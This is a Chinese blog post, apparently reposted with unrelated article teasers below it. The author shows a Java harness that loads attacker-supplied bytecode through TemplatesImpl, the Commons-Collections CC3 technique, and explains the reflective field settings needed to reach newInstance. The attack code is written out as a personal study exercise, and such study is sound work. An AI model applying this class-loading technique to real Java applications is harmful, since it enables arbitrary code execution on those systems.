记一个搞笑的自写类加载TemplatesImpl

news2024/11/23 21:15:19

今天没事想自己写个CC3类加载
结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了,使劲改字段强行通过循环
在这里插入图片描述

结果搞了个下面的代码出来

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Properties;

public class CC3TemplatesImpl {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));
        TemplatesImpl templatesClass = new TemplatesImpl();
        Field[] fields = templatesClass.getClass().getDeclaredFields();
        for (Field field : fields) {
            field.setAccessible(true);
            if (field.getName().equals("_bytecodes")) {
                field.set(templatesClass, new byte[][]{code});
            } else if (field.getName().equals("_name")) {
                field.set(templatesClass, "CC6TiedMapEntry");
            } else if (field.getName().equals("_tfactory")) {
                field.set(templatesClass, new TransformerFactoryImpl());
            } else if (field.getName().equals("_outputProperties")) {
                field.set(templatesClass, new Properties());
            } else if (field.getName().equals("_transletIndex")) {
                field.set(templatesClass, 0);
            } else if (field.getName().equals("_auxClasses")) {
                field.set(templatesClass, new HashMap<>());
            }
        }
        templatesClass.newTransformer();
    }
}

你别说,还真TM能跑。请添加图片描述
说一下怎么搞的
调试的时候bytecode数组只有一个恶意类,就创建不了hashMap,后面就put不进去。

在这里插入图片描述
于是我bytecode传了两个恶意数组

	field.set(templatesClass, new byte[][]{code,code});

结果进第二个catch,hashMap不能重复put
在这里插入图片描述
我又传了个空字节,我去,空字节不能defineClass,连循环都出不了

	field.set(templatesClass, new byte[][]{code,new byte[0]});

突然想到,我自己搞个hashMap就完了,用他的干毛啊
于是

else if (field.getName().equals("_auxClasses")) {
                field.set(templatesClass, new HashMap<>());
            }

感觉像个大铸币写的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1966088.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

手机买对不买贵!性价比之王再升级,致敬奋斗者

众所周知&#xff0c;比起旗舰机&#xff0c;中端机一年要发几次新款机型&#xff0c;因此&#xff0c;一两千元的价位段就尤其的卷。那此时作为消费者的我们就是赚了&#xff0c;花更少的钱就能买到更好的产品。华为畅享70S这款手机是今年最新的一款针对性价比用户推出的千元机…

大厂面试必备的软件测试八股文【附答案】

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 前言 最近有很多粉丝问我&#xff0c;有什么方法能够快速提升自己&#xff0c;通过阿里、腾讯、字节跳动、京东等互联网大厂的面试&#xff0c;我觉得短时间提升…

7ECloud云服务器在视频流服务器中的应用

视频现在已然是人们之间互相传递的一种信息形式&#xff0c;而视频内容也是娱乐消费的主要形式之一&#xff0c;媒体平台想要提供高效&#xff0c;稳定的视频流服务也成为了行业关注的焦点之一。7ECloud云服务器展现出的计算能力&#xff0c;灵活的资源调度能力以及高度扩展性等…

【中项】系统集成项目管理工程师-第9章 项目管理概论-9.3项目经理的角色与9.4项目生命周期和项目阶段

前言&#xff1a;系统集成项目管理工程师专业&#xff0c;现分享一些教材知识点。觉得文章还不错的喜欢点赞收藏的同时帮忙点点关注。 软考同样是国家人社部和工信部组织的国家级考试&#xff0c;全称为“全国计算机与软件专业技术资格&#xff08;水平&#xff09;考试”&…

C++ 位图

1. 位图概念 1. 面试题 给40亿个不重复的无符号整数&#xff0c;没排过序。给一个无符号整数&#xff0c;如何快速判断一个数是否在 这40亿个数中。【腾讯】 1. 利用map&#xff0c;set等容器存储遍历 2. 排序(O(NlogN))&#xff0c;利用二分查找: 但是其有40亿个数据&am…

骨传导耳机哪个牌子值得入手?精选五款2024热销骨传导耳机推荐!

随着健康意识的不断提升&#xff0c;运动健身已成为大众生活的热门选择&#xff0c;而人们对运动时音乐享受的需求也随之达到了新的高度。然而&#xff0c;许多运动达人在享受音乐律动的同时&#xff0c;却常被传统耳机易脱落、维护不便等问题所困扰&#xff0c;这无疑给他们的…

智能计算模拟:DFT+MD+ML深度融合及科研实践应用

第一性原理、分子动力学与机器学习三者的交汇融合已在相关研究领域展现强劲的研究热潮。借助第一性原理计算揭示材料内在的量子特性&#xff0c;并结合分子动力学模拟探究材料在实际环境下的动态行为&#xff1b;运用机器学习算法与上述方法结合&#xff0c;开发高性能预测模型…

物理笔记-八年级上册

0.梦开始的地方 物理研究什么&#xff1f; 电学&#xff0c;力学&#xff0c;声学&#xff0c;光学&#xff0c;热学。 1.1.1长度的单位 国际基本单位制 单位转换 魔法记忆&#xff1a;千米-米-毫米-微米-纳米&#xff08;进率都是1000&#xff09; 单位换算计算方法 用科学…

科东软件获颁2024英特尔网络与边缘计算行业大会“技术创新奖”

AI浪潮席卷全球&#xff0c;它正推动着制造业向更加智能化、数字化的方向发展。作为这场技术革命的见证者和参与者&#xff0c;科东软件携手众多行业伙伴&#xff0c;与英特尔共同探讨边缘AI的未来发展趋势。 近日&#xff0c;第十七届英特尔网络与边缘计算行业大会在天津隆重…

28-《蔷薇》

蔷薇 蔷薇&#xff08;学名&#xff1a;Rosa sp.&#xff09;&#xff1a;是蔷薇属部分植物的通称&#xff0c;主要指蔓藤蔷薇的变种及园艺品种。大多是一类藤状爬篱笆的小花&#xff0c;是原产于中国的落叶灌木&#xff0c;变异性强。茎刺较大且一般有钩&#xff0c;每节大致有…

分压电阻方式的ADC电压校准

无人机有个流程是电池电压校准。具体做法是&#xff1a;让你用万用表测量一下电池两端的电压&#xff0c;然后输入到文本框中&#xff0c;电机计算能重新计算出电压分压器的值&#xff0c;从而获得电池电压值。 这种方法实现的原理是这样的&#xff1a; 电阻分压检测电压原理&…

PRD: Peer Rank and Discussion Improve Large Language Model based Evaluations

文章目录 题目摘要相关工作方法实验与分析指标进一步分析结论 题目 PRD&#xff1a;同行排名和讨论改善基于大型语言模型的评估 论文地址&#xff1a;https://arxiv.org/abs/2307.02762 项目地址&#xff1a;https://openreview.net/forum?idYVD1QqWRaj 摘要 如今&#xff0c…

ChatGPT:ELMo,Transformer,Multitask

1&#xff0c;ELMo&#xff1a;Embedding新纪元 1.1&#xff0c;word2vec的局限性 word2vec&#xff1a;word2vec模型是一种可以用于各种任务的单词级别的表示学习。以单词stick为例子&#xff0c;它有非常多的意思&#xff1a; v. 粘贴&#xff1b;粘住&#xff1b;被接受&am…

webshell应急响应

前言 webshell在应急中占了很大的比例&#xff0c;本篇文章就来看看当遇到webshell时如何进行应急响应。 Webshell通常指以JSP、ASP、PHP等网页脚本文件形式存在的一种服务器可执行文件&#xff0c;一般带有文件操作、命令执行功能&#xff0c;是一种网页后门。攻击者在入侵一…

Email调用接口在高并发下的性能优化策略?

Email调用接口的安全保障措施&#xff1f;如何优化邮件调用接口&#xff1f; 无论是用户注册、密码重置还是促销邮件的发送&#xff0c;Email调用接口都是不可或缺的一部分。当面对高并发请求时&#xff0c;往往会成为瓶颈。AokSend将探讨几种在高并发环境下优化Email调用接口…

超级详细,如何手动安装python第三方库?

文章目录 1&#xff0c;python第三方库安装包有3种类型2&#xff0c;python第三方库安装包whl文件如何安装&#xff1f;3&#xff0c;python第三方库安装包zip和tar.gz文件如何安装&#xff1f;4&#xff0c; python第三方库安装包exe文件如何安装&#xff1f; 手动安装第三方库…

Unity材质球自动遍历所需贴图

Unity材质球自动遍历所需贴图 文章目录 Unity材质球自动遍历所需贴图一、原理二、用法1.代码&#xff1a;2.使用方法 一、原理 例如一个材质球名为&#xff1a;Decal_Text_Cranes_01_Mat &#xff0c; 然后从全局遍历出&#xff1a;Decal_Text_Cranes_01_Albedo赋值给材质球的…

校园选课助手【1】

项目背景 随着高校招生规模的不断扩大&#xff0c;学生选课需求日益增长。为提高选课效率&#xff0c;降低学生选课压力&#xff0c;本项目旨在开发一款校园选课助手软件。 项目目标:开发一款具有以下特点的校园选课助手软件&#xff1a; 易用性&#xff1a;界面简洁&#xff…

组蛋白乳酸化和RNA甲基化如何联动?请大数据把这个思路推给科研人

在细胞生物学中&#xff0c;基因表达调控是决定细胞功能与命运的核心过程之一。组蛋白作为修饰性蛋白&#xff0c;在调控基因转录中起着至关重要的作用。近年来&#xff0c;科学家们发现&#xff0c;组蛋白的多种化学修饰&#xff08;如甲基化、乙酰化、磷酸化等&#xff09;影…

Java零基础之多线程篇:多线程最佳实践

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…